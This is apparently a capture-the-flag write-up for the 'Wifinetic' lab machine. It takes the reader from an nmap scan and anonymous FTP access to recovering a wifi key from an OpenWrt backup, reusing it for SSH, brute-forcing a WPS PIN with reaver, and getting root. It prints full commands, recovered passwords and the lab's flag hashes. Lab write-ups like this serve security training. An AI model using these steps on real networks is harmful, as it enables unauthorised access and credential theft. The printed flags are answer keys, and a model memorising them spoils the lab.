

Recon

Running an nmap scan revealed 3 open ports:

```
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-06 14:33 EDT
Nmap scan report for 10.10.11.247
Host is up (0.047s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 3.0.3
22/tcp    open  ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol
53/tcp    open  tcpwrapped
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

At first, port 53 looked interesting, since it was tcpwrapped. Port 53 made me guess that it might be a DNS server, after playing with it for a while however, I gave up.

The next thing I tried was the FTP server. I tried to enter with the anonymous credentials, which worked.

```
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||40564|)
150 Here comes the directory listing.
-rw-r--r--  1 ftp      ftp          4434 Jul 31 11:03 MigrateOpenWrt.txt
-rw-r--r--  1 ftp      ftp        2501210 Jul 31 11:03 ProjectGreatMigration.pdf
-rw-r--r--  1 ftp      ftp         60857 Jul 31 11:03 ProjectOpenWRT.pdf
-rw-r--r--  1 ftp      ftp        40960 Sep 11 15:25 backup-OpenWrt-2023-07-26.tar
-rw-r--r--  1 ftp      ftp         52946 Jul 31 11:03 employees_wellness.pdf
226 Directory send OK.
ftp> █
```

FTP

There were some pdf documents and a .tar file which seemed to be [OpenWrt](#), which is a linux distro for embedded systems, often used for cpe-routers.

Most of the files were indicating that the company wanted to migrate from openwrt to debian, which was some nice lore, but at this point pretty useless. One thing these file showed was the domain **wifinetic.htb**.

What was useful, however, is the .tar file, which seemed to be a full backup of the openwrt config. It conveniently also contained a passwd file:

```
└─$ ls
config dropbear group hosts inittab luci-uploads nftables.d opkg passwd profile rc.local shells shinit sysctl.conf uhttpd.crt uhttpd.key
└─(n0x00ne@kali)-[~/output/etc]
└─$ █
```

User flag

This allowed me to enumerate the users on the system:

```
noxxone@kali: ~/output/
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
ntp:x:123:123:ntp:/var/run/ntp:/bin/false
dnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false
logd:x:514:514:logd:/var/run/logd:/bin/false
ubus:x:81:81:ubus:/var/run/ubus:/bin/false
netadmin:x:999:999:./home/netadmin:/bin/false
```

As I was going through the files, I discovered the wireless-configuration-file in the config directory. It contained a wifi password:

```
option key 'VeRyUniUqWiFiPasswrD1!'
option wps_pushbutton '1'

config wifi-iface 'wifinet1'
option device 'radio1'
option mode 'sta'
option network 'wwan'
option ssid 'OpenWrt'
option encryption 'psk'
option key 'VeRyUniUqWiFiPasswrD1!'
```

As this was the only password I found, I tried to SSH into the server with each user and the found password, which got me a ssh connection as netadmin:

```
$ ssh netadmin@10.10.11.247
netadmin@10.10.11.247's password:
Permission denied, please try again.
netadmin@10.10.11.247's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-162-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Fri 06 Oct 2023 09:35:42 PM UTC

System load:          0.0
Usage of /:           65.4% of 4.76GB
Memory usage:         6%
Swap usage:           0%
Processes:            220
Users logged in:      0
IPv4 address for eth0: 10.10.11.247
IPv6 address for eth0: dead:beef::250:56ff:feb9:f52d
IPv4 address for wlan0: 192.168.1.1
IPv4 address for wlan1: 192.168.1.23

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Sep 12 12:46:00 2023 from 10.10.14.23
netadmin@wifinetic:~$ ls
user.txt
netadmin@wifinetic:~$ cat user.txt
5327c0845814cfa7d71e8f18e49cb3ad
netadmin@wifinetic:~$
```

Root

Since reaver, a wps-pin bruteforcing software, seemed to be installed on the system, I figured that the access point software may be the root password.

So I used iw to get information about the first interface which seemed to be the AP interface:

```
Interface wlan0
    ifindex 3
    wdev 0x1
    addr 02:00:00:00:00:00
    ssid OpenWrt
    type AP
    wiphy 0
    channel 1 (2412 MHz), width: 20 MHz (no HT), center1: 2412 MHz
    txpower 20.00 dBm
```

With the BSSID i was able to get the password easily:

```
netadmin@wifinetic:~$ reaver -i mon0 -b 02:00:00:00:00:00 -vv -c 1

Reaver v1.6.5 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacticalnetworksolutions.com>

[+] Switching mon0 to channel 1
[+] Waiting for beacon from 02:00:00:00:00:00
[+] Received beacon from 02:00:00:00:00:00
[+] Trying pin "12345670"
[+] Sending authentication request
[!] Found packet with bad FCS, skipping...
[+] Sending association request
[+] Associated with 02:00:00:00:00:00 (ESSID: OpenWrt)
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 1 seconds
[+] WPS PIN: '12345670'
[+] WPA PSK: 'WhatIsRealAnDWhAtIsNot51121!'
[+] AP SSID: 'OpenWrt'
[+] Nothing done, nothing to save.
```

And the WPA PSK was conveniently the root password:

```
netadmin@wifinetic:~$ su
Password:
root@wifinetic:/home/netadmin# cd
root@wifinetic:~# cat root.txt
022ab78a00d149472fe47bf784871006
root@wifinetic:~#
```